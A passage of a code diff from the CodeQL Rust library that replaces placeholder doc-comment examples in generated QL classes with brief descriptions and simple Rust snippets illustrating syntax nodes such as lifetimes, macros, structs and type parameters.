+2178,12 @@ module Raw { /** * INTERNAL: Do not use. - * A FnPtrTypeRepr. For example: + * A function pointer type. + * + * For example: * ```rust - * todo!() + * let f: fn(i32) -> i32; + * // ^^^^^^^^^^^^^^ * ``` */ class FnPtrTypeRepr extends @fn_ptr_type_repr, TypeRepr { @@ -1965,9 +2222,12 @@ module Raw { /** * INTERNAL: Do not use. - * A ForTypeRepr. For example: + * A higher-ranked trait bound(HRTB) type. + * + * For example: * ```rust - * todo!() + * for <'a> fn(&'a str) + * // ^^^^^ * ``` */ class ForTypeRepr extends @for_type_repr, TypeRepr { @@ -2101,9 +2361,12 @@ module Raw { /** * INTERNAL: Do not use. - * A ImplTraitTypeRepr. For example: + * An `impl Trait` type. + * + * For example: * ```rust - * todo!() + * fn foo() -> impl Iterator { 0..10 } + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^ * ``` */ class ImplTraitTypeRepr extends @impl_trait_type_repr, TypeRepr { @@ -2144,9 +2407,12 @@ module Raw { /** * INTERNAL: Do not use. - * A InferTypeRepr. For example: + * An inferred type (`_`). + * + * For example: * ```rust - * todo!() + * let x: _ = 42; + * // ^ * ``` */ class InferTypeRepr extends @infer_type_repr, TypeRepr { @@ -2155,9 +2421,13 @@ module Raw { /** * INTERNAL: Do not use. - * A Item. For example: + * An item such as a function, struct, enum, etc. + * + * For example: * ```rust - * todo!() + * fn foo() {} + * struct S; + * enum E {} * ``` */ class Item extends @item, Stmt, Addressable { @@ -2251,9 +2521,12 @@ module Raw { /** * INTERNAL: Do not use. - * A Lifetime. For example: + * A lifetime annotation. + * + * For example: * ```rust - * todo!() + * fn foo<'a>(x: &'a str) {} + * // ^^ ^^ * ``` */ class Lifetime extends @lifetime, UseBoundGenericArg { @@ -2267,9 +2540,12 @@ module Raw { /** * INTERNAL: Do not use. - * A LifetimeArg. For example: + * A lifetime argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo<'a> + * // ^^ * ``` */ class LifetimeArg extends @lifetime_arg, GenericArg { @@ -2283,9 +2559,12 @@ module Raw { /** * INTERNAL: Do not use. - * A LifetimeParam. For example: + * A lifetime parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo<'a>(x: &'a str) {} + * // ^^ * ``` */ class LifetimeParam extends @lifetime_param, GenericParam { @@ -2379,9 +2658,11 @@ module Raw { /** * INTERNAL: Do not use. - * A MacroExpr. For example: + * A macro expression, representing the invocation of a macro that produces an expression. + * + * For example: * ```rust - * todo!() + * let y = vec![1, 2, 3]; * ``` */ class MacroExpr extends @macro_expr, Expr { @@ -2395,9 +2676,14 @@ module Raw { /** * INTERNAL: Do not use. - * A MacroPat. For example: + * A macro pattern, representing the invocation of a macro that produces a pattern. + * + * For example: * ```rust - * todo!() + * match x { + * my_macro!() => "matched", + * _ => "not matched", + * } * ``` */ class MacroPat extends @macro_pat, Pat { @@ -2411,9 +2697,12 @@ module Raw { /** * INTERNAL: Do not use. - * A MacroTypeRepr. For example: + * A type produced by a macro. + * + * For example: * ```rust - * todo!() + * type T = macro_type!(); + * // ^^^^^^^^^^^^^ * ``` */ class MacroTypeRepr extends @macro_type_repr, TypeRepr { @@ -2462,9 +2751,12 @@ module Raw { /** * INTERNAL: Do not use. - * A NameRef. For example: + * A reference to a name. + * + * For example: * ```rust - * todo!() + * foo(); + * //^^^ * ``` */ class NameRef extends @name_ref, UseBoundGenericArg { @@ -2478,9 +2770,12 @@ module Raw { /** * INTERNAL: Do not use. - * A NeverTypeRepr. For example: + * The never type `!`. + * + * For example: * ```rust - * todo!() + * fn foo() -> ! { panic!() } + * // ^ * ``` */ class NeverTypeRepr extends @never_type_repr, TypeRepr { @@ -2551,9 +2846,12 @@ module Raw { /** * INTERNAL: Do not use. - * A ParenExpr. For example: + * A parenthesized expression. + * + * For example: * ```rust - * todo!() + * (x + y) + * //^^^^^ * ``` */ class ParenExpr extends @paren_expr, Expr { @@ -2572,9 +2870,12 @@ module Raw { /** * INTERNAL: Do not use. - * A ParenPat. For example: + * A parenthesized pattern. + * + * For example: * ```rust - * todo!() + * let (x) = 1; + * // ^^^ * ``` */ class ParenPat extends @paren_pat, Pat { @@ -2588,9 +2889,12 @@ module Raw { /** * INTERNAL: Do not use. - * A ParenTypeRepr. For example: + * A parenthesized type. + * + * For example: * ```rust - * todo!() + * let x: (i32); + * // ^^^^^ * ``` */ class ParenTypeRepr extends @paren_type_repr, TypeRepr { @@ -2621,10 +2925,10 @@ module Raw { /** * INTERNAL: Do not use. - * A type referring to a path. For example: + * A path referring to a type. For example: * ```rust - * type X = std::collections::HashMap; - * type Y = X::Item; + * let x: (i32); + * // ^^^ * ``` */ class PathTypeRepr extends @path_type_repr, TypeRepr { @@ -2666,9 +2970,13 @@ module Raw { /** * INTERNAL: Do not use. - * A PtrTypeRepr. For example: + * A pointer type. + * + * For example: * ```rust - * todo!() + * let p: *const i32; + * let q: *mut i32; + * // ^^^^^^^^^ * ``` */ class PtrTypeRepr extends @ptr_type_repr, TypeRepr { @@ -2821,9 +3129,13 @@ module Raw { /** * INTERNAL: Do not use. - * A RefTypeRepr. For example: + * A reference type. + * + * For example: * ```rust - * todo!() + * let r: &i32; + * let m: &mut i32; + * // ^^^^^^^^ * ``` */ class RefTypeRepr extends @ref_type_repr, TypeRepr { @@ -2847,9 +3159,12 @@ module Raw { /** * INTERNAL: Do not use. - * A RestPat. For example: + * A rest pattern (`..`) in a tuple, slice, or struct pattern. + * + * For example: * ```rust - * todo!() + * let (a, .., z) = (1, 2, 3); + * // ^^ * ``` */ class RestPat extends @rest_pat, Pat { @@ -2949,9 +3264,12 @@ module Raw { /** * INTERNAL: Do not use. - * A SliceTypeRepr. For example: + * A slice type. + * + * For example: * ```rust - * todo!() + * let s: &[i32]; + * // ^^^^^ * ``` */ class SliceTypeRepr extends @slice_type_repr, TypeRepr { @@ -2965,9 +3283,12 @@ module Raw { /** * INTERNAL: Do not use. - * A field list of a struct expression. For example: + * A list of fields in a struct declaration. + * + * For example: * ```rust - * todo!() + * struct S { x: i32, y: i32 } + * // ^^^^^^^^^^^^^^^ * ``` */ class StructFieldList extends @struct_field_list, FieldList { @@ -2981,9 +3302,12 @@ module Raw { /** * INTERNAL: Do not use. - * A TryExpr. For example: + * A try expression using the `?` operator. + * + * For example: * ```rust - * todo!() + * let x = foo()?; + * // ^ * ``` */ class TryExpr extends @try_expr, Expr { @@ -3024,9 +3348,12 @@ module Raw { /** * INTERNAL: Do not use. - * A TupleFieldList. For example: + * A list of fields in a tuple struct or tuple enum variant. + * + * For example: * ```rust - * todo!() + * struct S(i32, String); + * // ^^^^^^^^^^^^^ * ``` */ class TupleFieldList extends @tuple_field_list, FieldList { @@ -3057,9 +3384,12 @@ module Raw { /** * INTERNAL: Do not use. - * A TupleTypeRepr. For example: + * A tuple type. + * + * For example: * ```rust - * todo!() + * let t: (i32, String); + * // ^^^^^^^^^^^^^ * ``` */ class TupleTypeRepr extends @tuple_type_repr, TypeRepr { @@ -3073,9 +3403,12 @@ module Raw { /** * INTERNAL: Do not use. - * A TypeArg. For example: + * A type argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo:: + * // ^^^ * ``` */ class TypeArg extends @type_arg, GenericArg { @@ -3089,9 +3422,12 @@ module Raw { /** * INTERNAL: Do not use. - * A TypeParam. For example: + * A type parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^ * ``` */ class TypeParam extends @type_param, GenericParam { @@ -3136,9 +3472,12 @@ module Raw { /** * INTERNAL: Do not use. - * A Variant. For example: + * A variant in an enum declaration. + * + * For example: * ```rust - * todo!() + * enum E { A, B(i32), C { x: i32 } } + * // ^ ^^^^^^ ^^^^^^^^^^^^ * ``` */ class Variant extends @variant, VariantDef, Addressable { @@ -3308,9 +3647,11 @@ module Raw { /** * INTERNAL: Do not use. - * A Const. For example: + * A constant item declaration. + * + * For example: * ```rust - * todo!() + * const X: i32 = 42; * ``` */ class Const extends @const, AssocItem, Item { @@ -3354,9 +3695,11 @@ module Raw { /** * INTERNAL: Do not use. - * A Enum. For example: + * An enum declaration. + * + * For example: * ```rust - * todo!() + * enum E {A, B(i32), C {x: i32}} * ``` */ class Enum extends @enum, Item { @@ -3395,9 +3738,13 @@ module Raw { /** * INTERNAL: Do not use. - * A ExternBlock. For example: + * An extern block containing foreign function declarations. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * } * ``` */ class ExternBlock extends @extern_block, Item { @@ -3426,9 +3773,11 @@ module Raw { /** * INTERNAL: Do not use. - * A ExternCrate. For example: + * An extern crate declaration. + * + * For example: * ```rust - * todo!() + * extern crate serde; * ``` */ class ExternCrate extends @extern_crate, Item { @@ -3534,9 +3883,13 @@ module Raw { /** * INTERNAL: Do not use. - * A Impl. For example: + * An `impl`` block. + * + * For example: * ```rust - * todo!() + * impl MyTrait for MyType { + * fn foo(&self) {} + * } * ``` */ class Impl extends @impl, Item { @@ -3606,9 +3959,12 @@ module Raw { /** * INTERNAL: Do not use. - * A MacroCall. For example: + * A macro invocation. + * + * For example: * ```rust - * todo!() + * println!("Hello, world!"); + * //^^^^^^^ * ``` */ class MacroCall extends @macro_call, AssocItem, ExternItem, Item { @@ -3637,9 +3993,15 @@ module Raw { /** * INTERNAL: Do not use. - * A MacroDef. For example: + * A macro definition using the `macro_rules!` or similar syntax. + * + * For example: * ```rust - * todo!() + * macro_rules! my_macro { + * () => { + * println!("This is a macro!"); + * }; + * } * ``` */ class MacroDef extends @macro_def, Item { @@ -3673,9 +4035,13 @@ module Raw { /** * INTERNAL: Do not use. - * A MacroRules. For example: + * A macro definition using the `macro_rules!` syntax. * ```rust - * todo!() + * macro_rules! my_macro { + * () => { + * println!("This is a macro!"); + * }; + * } * ``` */ class MacroRules extends @macro_rules, Item { @@ -3800,9 +4166,11 @@ module Raw { /** * INTERNAL: Do not use. - * A Static. For example: + * A static item declaration. + * + * For example: * ```rust - * todo!() + * static X: i32 = 42; * ``` */ class Static extends @static, ExternItem, Item { @@ -3853,7 +4221,10 @@ module Raw { * INTERNAL: Do not use. * A Struct. For example: * ```rust - * todo!() + * struct Point { + * x: i32, + * y: i32, + * } * ``` */ class Struct extends @struct, Item, VariantDef { @@ -3994,9 +4365,11 @@ module Raw { /** * INTERNAL: Do not use. - * A TraitAlias. For example: + * A trait alias. + * + * For example: * ```rust - * todo!() + * trait Foo = Bar + Baz; * ``` */ class TraitAlias extends @trait_alias, Item { @@ -4111,9 +4484,11 @@ module Raw { /** * INTERNAL: Do not use. - * A Union. For example: + * A union declaration. + * + * For example: * ```rust - * todo!() + * union U { f1: u32, f2: f32 } * ``` */ class Union extends @union, Item, VariantDef { @@ -4152,9 +4527,9 @@ module Raw { /** * INTERNAL: Do not use. - * A Use. For example: + * A `use` statement. For example: * ```rust - * todo!() + * use std::collections::HashMap; * ``` */ class Use extends @use, Item { @@ -4178,9 +4553,13 @@ module Raw { /** * INTERNAL: Do not use. - * A ForExpr. For example: + * A for loop expression. + * + * For example: * ```rust - * todo!() + * for x in 0..10 { + * println!("{}", x); + * } * ``` */ class ForExpr extends @for_expr, LoopingExpr { @@ -4238,9 +4617,13 @@ module Raw { /** * INTERNAL: Do not use. - * A WhileExpr. For example: + * A while loop expression. + * + * For example: * ```rust - * todo!() + * while x < 10 { + * x += 1; + * } * ``` */ class WhileExpr extends @while_expr, LoopingExpr { diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/RefTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/RefTypeRepr.qll index 6c013f9356d8..b770a268431d 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/RefTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/RefTypeRepr.qll @@ -16,9 +16,13 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A RefTypeRepr. For example: + * A reference type. + * + * For example: * ```rust - * todo!() + * let r: &i32; + * let m: &mut i32; + * // ^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::RefTypeRepr` class directly. * Use the subclass `RefTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Rename.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Rename.qll index 89ac3f7f12cb..31dfe0d307cc 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Rename.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Rename.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.Name */ module Generated { /** - * A Rename. For example: + * A rename in a use declaration. + * + * For example: * ```rust - * todo!() + * use foo as bar; + * // ^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::Rename` class directly. * Use the subclass `Rename`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/RestPat.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/RestPat.qll index 06d2947ee8a5..0134255b8285 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/RestPat.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/RestPat.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.internal.PatImpl::Impl as PatImpl */ module Generated { /** - * A RestPat. For example: + * A rest pattern (`..`) in a tuple, slice, or struct pattern. + * + * For example: * ```rust - * todo!() + * let (a, .., z) = (1, 2, 3); + * // ^^ * ``` * INTERNAL: Do not reference the `Generated::RestPat` class directly. * Use the subclass `RestPat`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/RetTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/RetTypeRepr.qll index 352f4bcb9602..e316b8b32f8d 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/RetTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/RetTypeRepr.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.TypeRepr */ module Generated { /** - * A RetTypeRepr. For example: + * A return type in a function signature. + * + * For example: * ```rust - * todo!() + * fn foo() -> i32 {} + * // ^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::RetTypeRepr` class directly. * Use the subclass `RetTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ReturnTypeSyntax.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ReturnTypeSyntax.qll index e4c653da5d36..9b8a30c800ad 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ReturnTypeSyntax.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ReturnTypeSyntax.qll @@ -14,9 +14,22 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** - * A ReturnTypeSyntax. For example: + * A return type notation `(..)` to reference or bound the type returned by a trait method + * + * For example: * ```rust - * todo!() + * struct ReverseWidgets> { + * factory: F, + * } + * + * impl Factory for ReverseWidgets + * where + * F: Factory, + * { + * fn widgets(&self) -> impl Iterator { + * self.factory.widgets().rev() + * } + * } * ``` * INTERNAL: Do not reference the `Generated::ReturnTypeSyntax` class directly. * Use the subclass `ReturnTypeSyntax`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/SliceTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/SliceTypeRepr.qll index 6d47596b7d72..176b4e699e43 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/SliceTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/SliceTypeRepr.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A SliceTypeRepr. For example: + * A slice type. + * + * For example: * ```rust - * todo!() + * let s: &[i32]; + * // ^^^^^ * ``` * INTERNAL: Do not reference the `Generated::SliceTypeRepr` class directly. * Use the subclass `SliceTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/SourceFile.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/SourceFile.qll index 07b5f25fda0d..64854b410cad 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/SourceFile.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/SourceFile.qll @@ -16,9 +16,12 @@ import codeql.rust.elements.Item */ module Generated { /** - * A SourceFile. For example: + * A source file. + * + * For example: * ```rust - * todo!() + * // main.rs + * fn main() {} * ``` * INTERNAL: Do not reference the `Generated::SourceFile` class directly. * Use the subclass `SourceFile`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Static.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Static.qll index 00475e87558c..0fb3c627de29 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Static.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Static.qll @@ -20,9 +20,11 @@ import codeql.rust.elements.Visibility */ module Generated { /** - * A Static. For example: + * A static item declaration. + * + * For example: * ```rust - * todo!() + * static X: i32 = 42; * ``` * INTERNAL: Do not reference the `Generated::Static` class directly. * Use the subclass `Static`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/StmtList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/StmtList.qll index 1366eab77963..3460c239a9f3 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/StmtList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/StmtList.qll @@ -17,9 +17,15 @@ import codeql.rust.elements.Stmt */ module Generated { /** - * A StmtList. For example: + * A list of statements in a block. + * + * For example: * ```rust - * todo!() + * { + * let x = 1; + * let y = 2; + * } + * // ^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::StmtList` class directly. * Use the subclass `StmtList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Struct.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Struct.qll index 07521be8d696..fdd28cb8de75 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Struct.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Struct.qll @@ -23,7 +23,10 @@ module Generated { /** * A Struct. For example: * ```rust - * todo!() + * struct Point { + * x: i32, + * y: i32, + * } * ``` * INTERNAL: Do not reference the `Generated::Struct` class directly. * Use the subclass `Struct`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/StructExprFieldList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/StructExprFieldList.qll index 8dfe65d5973d..66ab2785d422 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/StructExprFieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/StructExprFieldList.qll @@ -17,9 +17,12 @@ import codeql.rust.elements.StructExprField */ module Generated { /** - * A StructExprFieldList. For example: + * A list of fields in a struct expression. + * + * For example: * ```rust - * todo!() + * Foo { a: 1, b: 2 } + * // ^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::StructExprFieldList` class directly. * Use the subclass `StructExprFieldList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/StructField.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/StructField.qll index cd392811e191..9650d4fd2c12 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/StructField.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/StructField.qll @@ -19,9 +19,12 @@ import codeql.rust.elements.Visibility */ module Generated { /** - * A StructField. For example: + * A field in a struct declaration. + * + * For example: * ```rust - * todo!() + * struct S { x: i32 } + * // ^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::StructField` class directly. * Use the subclass `StructField`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/StructFieldList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/StructFieldList.qll index aabd886f6b74..624391a3da6f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/StructFieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/StructFieldList.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.StructField */ module Generated { /** - * A field list of a struct expression. For example: + * A list of fields in a struct declaration. + * + * For example: * ```rust - * todo!() + * struct S { x: i32, y: i32 } + * // ^^^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::StructFieldList` class directly. * Use the subclass `StructFieldList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/StructPatFieldList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/StructPatFieldList.qll index 2a2098f27211..46a5407626ba 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/StructPatFieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/StructPatFieldList.qll @@ -16,9 +16,12 @@ import codeql.rust.elements.StructPatField */ module Generated { /** - * A StructPatFieldList. For example: + * A list of fields in a struct pattern. + * + * For example: * ```rust - * todo!() + * let Foo { a, b } = foo; + * // ^^^^^ * ``` * INTERNAL: Do not reference the `Generated::StructPatFieldList` class directly. * Use the subclass `StructPatFieldList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TokenTree.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TokenTree.qll index 530f3e3199c0..bd30d475a268 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TokenTree.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TokenTree.qll @@ -14,9 +14,16 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** - * A TokenTree. For example: + * A token tree in a macro definition or invocation. + * + * For example: * ```rust - * todo!() + * println!("{} {}!", "Hello", "world"); + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * ``` + * ``` + * macro_rules! foo { ($x:expr) => { $x + 1 }; } + * // ^^^^^^^^^^^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::TokenTree` class directly. * Use the subclass `TokenTree`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TraitAlias.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TraitAlias.qll index d084fc36436b..0ca44b1f577d 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TraitAlias.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TraitAlias.qll @@ -20,9 +20,11 @@ import codeql.rust.elements.WhereClause */ module Generated { /** - * A TraitAlias. For example: + * A trait alias. + * + * For example: * ```rust - * todo!() + * trait Foo = Bar + Baz; * ``` * INTERNAL: Do not reference the `Generated::TraitAlias` class directly. * Use the subclass `TraitAlias`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TryExpr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TryExpr.qll index e71c2c26b9e6..f4c5bbf6e9be 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TryExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TryExpr.qll @@ -16,9 +16,12 @@ import codeql.rust.elements.internal.ExprImpl::Impl as ExprImpl */ module Generated { /** - * A TryExpr. For example: + * A try expression using the `?` operator. + * + * For example: * ```rust - * todo!() + * let x = foo()?; + * // ^ * ``` * INTERNAL: Do not reference the `Generated::TryExpr` class directly. * Use the subclass `TryExpr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TupleField.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TupleField.qll index e7dd183a171d..436960983864 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TupleField.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TupleField.qll @@ -17,9 +17,12 @@ import codeql.rust.elements.Visibility */ module Generated { /** - * A TupleField. For example: + * A field in a tuple struct or tuple enum variant. + * + * For example: * ```rust - * todo!() + * struct S(i32, String); + * // ^^^ ^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::TupleField` class directly. * Use the subclass `TupleField`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TupleFieldList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TupleFieldList.qll index 9b25d9a93165..56b1d505c3ac 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TupleFieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TupleFieldList.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.TupleField */ module Generated { /** - * A TupleFieldList. For example: + * A list of fields in a tuple struct or tuple enum variant. + * + * For example: * ```rust - * todo!() + * struct S(i32, String); + * // ^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::TupleFieldList` class directly. * Use the subclass `TupleFieldList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TupleTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TupleTypeRepr.qll index 5929c019ff46..dead3a445e73 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TupleTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TupleTypeRepr.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A TupleTypeRepr. For example: + * A tuple type. + * + * For example: * ```rust - * todo!() + * let t: (i32, String); + * // ^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::TupleTypeRepr` class directly. * Use the subclass `TupleTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TypeArg.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TypeArg.qll index da8742cd188a..1b6b1c13219a 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TypeArg.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TypeArg.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.TypeRepr */ module Generated { /** - * A TypeArg. For example: + * A type argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo:: + * // ^^^ * ``` * INTERNAL: Do not reference the `Generated::TypeArg` class directly. * Use the subclass `TypeArg`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TypeBound.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TypeBound.qll index 0667a931e453..c1e349511be0 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TypeBound.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TypeBound.qll @@ -17,9 +17,12 @@ import codeql.rust.elements.UseBoundGenericArgs */ module Generated { /** - * A TypeBound. For example: + * A type bound in a trait or generic parameter. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^^^^^ * ``` * INTERNAL: Do not reference the `Generated::TypeBound` class directly. * Use the subclass `TypeBound`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TypeBoundList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TypeBoundList.qll index 2781ab89de0f..e2fa4152d024 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TypeBoundList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TypeBoundList.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.TypeBound */ module Generated { /** - * A TypeBoundList. For example: + * A list of type bounds. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::TypeBoundList` class directly. * Use the subclass `TypeBoundList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TypeParam.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TypeParam.qll index 0c7c71df4f4d..5379ca78306e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TypeParam.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TypeParam.qll @@ -18,9 +18,12 @@ import codeql.rust.elements.TypeRepr */ module Generated { /** - * A TypeParam. For example: + * A type parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^ * ``` * INTERNAL: Do not reference the `Generated::TypeParam` class directly. * Use the subclass `TypeParam`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Union.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Union.qll index 3959835cde0e..63f76703bcb1 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Union.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Union.qll @@ -21,9 +21,11 @@ import codeql.rust.elements.WhereClause */ module Generated { /** - * A Union. For example: + * A union declaration. + * + * For example: * ```rust - * todo!() + * union U { f1: u32, f2: f32 } * ``` * INTERNAL: Do not reference the `Generated::Union` class directly. * Use the subclass `Union`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Use.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Use.qll index 2bc1364b7901..ba3cc1de397b 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Use.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Use.qll @@ -17,9 +17,9 @@ import codeql.rust.elements.Visibility */ module Generated { /** - * A Use. For example: + * A `use` statement. For example: * ```rust - * todo!() + * use std::collections::HashMap; * ``` * INTERNAL: Do not reference the `Generated::Use` class directly. * Use the subclass `Use`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/UseBoundGenericArgs.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/UseBoundGenericArgs.qll index b900f7e01d39..9ba10bdf876e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/UseBoundGenericArgs.qll +++ 